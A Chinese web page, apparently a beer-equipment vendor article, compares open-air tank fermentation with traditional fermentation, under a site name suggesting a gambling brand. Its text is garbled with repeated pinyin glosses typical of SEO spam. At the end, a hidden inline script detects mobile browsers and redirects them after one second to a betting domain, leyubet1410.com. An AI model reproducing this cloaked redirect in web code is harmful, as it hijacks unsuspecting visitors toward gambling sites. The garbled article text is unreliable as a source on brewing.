千赢国际官方

新闻资讯

啤酒露天罐的发酵工艺与传统发酵工艺的区别

今天,千赢国际官方的小编就给你分享关于:啤酒露天罐的发酵工艺与传统(tong)发酵工艺的区别(bie)

露天大(da)罐的发(fa)(fa)酵工艺与传统(tong)发(fa)(fa)酵有(you)相似的地方,也有(you)不同(tong)的地方.基(ji)本相同(tong)的有(you)以下几点:

(1)有基(ji)本(ben)相同的发(fa)酵过程(cheng),具有相类似(si)的发(fa)酵时间;

(2)可以使用相类(lei)似的酵母和(he)采用基本相同的工艺(yi)条(tiao)件;

(3)具有(you)相接近的(de)(de)降温过程及其降温的(de)(de)目的(de)(de),包括一定(ding)的(de)(de)冷贮(zhu)要(yao)求;

(4)具有相(xiang)类似的发酵操作,诸(zhu)如添加酵母(mu).分离冷(leng)凝固物,回收酵母(mu)、还原双乙酰(xian)、饱和co2以及适当的后熟过程等(deng):

(5)可以通(tong)过合适的(de)(de)(de)发酵(jiao)条件控制和使用良好的(de)(de)(de)酵(jiao)母菌种,生(sheng)产风(feng)味十分接近的(de)(de)(de)啤酒.

但是(shi),由于露天大罐的(de)(de)结构、体积以及冷却条件等方面与传统发(fa)(fa)酵(jiao)设备(bei)存在差别,使露天大罐的(de)(de)发(fa)(fa)酵(jiao)工艺(yi)具有许多与传统发(fa)(fa)酵(jiao)工艺(yi)不同的(de)(de)地方.

(1)原(yuan)则上(shang)来(lai)说(shuo),使用大(da)罐发酵(jiao)不(bu)(bu)存在前发酵(jiao)、后发酵(jiao)的概念(nian),不(bu)(bu)管(guan)是一罐法(fa)或是两罐法(fa),只能(neng)将其按不(bu)(bu)同(tong)的温度阶段区(qu)分为发酵(jiao)、温贮与(yu)冷贮等(deng)过程,因(yin)此也(ye)就(jiu)不(bu)(bu)存在下酒等(deng)工(gong)艺操作,相对来(lai)说(shuo)转罐次(ci)数减(jian)少,损(sun)耗也(ye)就(jiu)小了.

(2)由(you)于大罐(guan)具有可以(yi)密闭的结构,所以(yi)可在一定的低压条(tiao)件下(xia)进行发酵,同时又可以(yi)回收C02,并经过一定的处理保(bao)存起来,之后(hou)又可用于对发酵液的co2,洗涤(di)与饱(bao)和(he)(he).而传统发酵设备(bei)是敞口的,不仅不能回收co2,而且(qie)还必须(xu)设法将(jiang)其排出(chu)室外,同时还须(xu)考(kao)虑适(shi)当的后(hou)发酵时间以(yi)及饱(bao)和(he)(he)co2,的压力和(he)(he)温度条(tiao)件.

(3)由于(yu)大罐使用冷(leng)(leng)媒水(shui)直接冷(leng)(leng)却,其(qi)冷(leng)(leng)却效果远比传统发酵系统的冷(leng)(leng)空气冷(leng)(leng)却效果要好(hao),所(suo)以温度控制(zhi)(zhi)十(shi)分有(you)效,不仅温度阶段控制(zhi)(zhi)的任(ren)意性强,而且温度调(diao)节的时间任(ren)意性也强,这一点是传统发酵所(suo)难以办(ban)到(dao)的,这也是大罐发酵工艺优于(yu)传统工艺的基本条(tiao)件.

(4)大(da)(da)罐的(de)有效(xiao)髙度(du)远(yuan)远(yuan)超过传统发酵(jiao)槽,由于冷媒水(shui)的(de)冷却效(xiao)果,使大(da)(da)罐内(nei)的(de)发酵(jiao)液的(de)对流作用比传统发酵(jiao)要强烈得多,这就(jiu)为酵(jiao)母的(de)良好发酵(jiao)创(chuang)造了十分有利的(de)条件,所(suo)以,大(da)(da)罐发酵(jiao)的(de)逨(zui)度(du)比较快,后熟(shu)处理(li)时(shi)间短.

(5)大(da)罐(guan)所具有(you)(you)的(de)特(te)殊的(de)圆锥(zhui)底(di)结(jie)构,为(wei)大(da)罐(guan)排放(fang)冷凝固物,回收酵母及(ji)进行(xing)啤酒过滤创造了较为(wei)有(you)(you)利的(de)条件(jian),还可以结(jie)合使用离(li)心(xin)机与热(re)交换(huan)器(qi)进行(xing)有(you)(you)效的(de)后熟处理,回收啤酒和减少废(fei)渣的(de)排放(fang).

(6)大罐的温度与(yu)压(ya)力控制(zhi)比较直观有效,不仅可以(yi)集(ji)(ji)中(zhong)控制(zhi),而且可以(yi)自动控制(zhi).而传统发酵系统虽也能集(ji)(ji)中(zhong)控制(zhi).但受(shou)到(dao)其工艺设备结构的限制(zhi),很(hen)难满足自控的要求.

了解啤酒设备信息,啤酒设备厂家信息,找啤酒设备,请来中赢啤酒设备网,这里提供有关啤酒设备产品的供应信息,您可与啤酒设备生产商在线洽谈有关啤酒设备的最新动态及价格行情,买啤酒设备就来中赢啤酒设备网。

声明:本文章部分图片、文字来源于网络,版权归原作者所有,如有侵权,请与我联系删除。



 本页关键词:啤(pi)酒(jiu)设备(bei)(bei) 精酿啤(pi)酒(jiu)设备(bei)(bei) 自(zi)酿啤(pi)酒(jiu)设备(bei)(bei) 啤(pi)酒(jiu)机(ji)


  啤酒设备

在线客服

关闭

客户服务热线
0371-63696300


客服一



var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();